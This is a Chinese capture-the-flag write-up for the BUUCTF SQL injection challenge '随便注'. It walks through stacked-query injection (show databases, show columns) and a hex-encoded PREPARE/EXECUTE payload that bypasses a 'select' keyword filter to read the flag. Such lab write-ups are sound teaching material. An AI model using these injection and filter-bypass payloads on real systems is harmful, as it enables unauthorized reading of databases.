buuctf 随便注

进入题目界面。

 配合上题目 随便注 很容易想到这是一道sql注入题。

先随便尝试一下。

 发现了这个(不用fuzz了,哈,开心)

select被过滤了,在思考了良久之后,发现自己不会。后来在大佬的帮助下才知道这是堆叠注入。

关于堆叠注入的知识点可以看大佬的博客:https://www.cnblogs.com/geaozhang/p/9891338.html  (大佬nb!感谢大佬!)

看完博客之后完全可以自己实操

利用 show databases; 来爆出数据库

 

 得到了两个表,接下来就是爆字段了。

payload=1';show columns from `1919810931114514`;(注意如果表名是纯数字时,一定要用 ` 把它包括起来,` 强制命令执行)

 看到flag了对吧。那么读取它就可以了。但是我们的select被过滤了。平时可以使用select * from flag来读取现在又使用什么呢?

这时候就要用到mysql的预编译系统了。(大佬的博客有说到,不会的赶紧去看啊,就是上面的链接)

构造payload=1';SET @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE sqlexp from @a;EXECUTE sqlexp;

得到flag

猜你喜欢

转载自www.cnblogs.com/cioi/p/11938983.html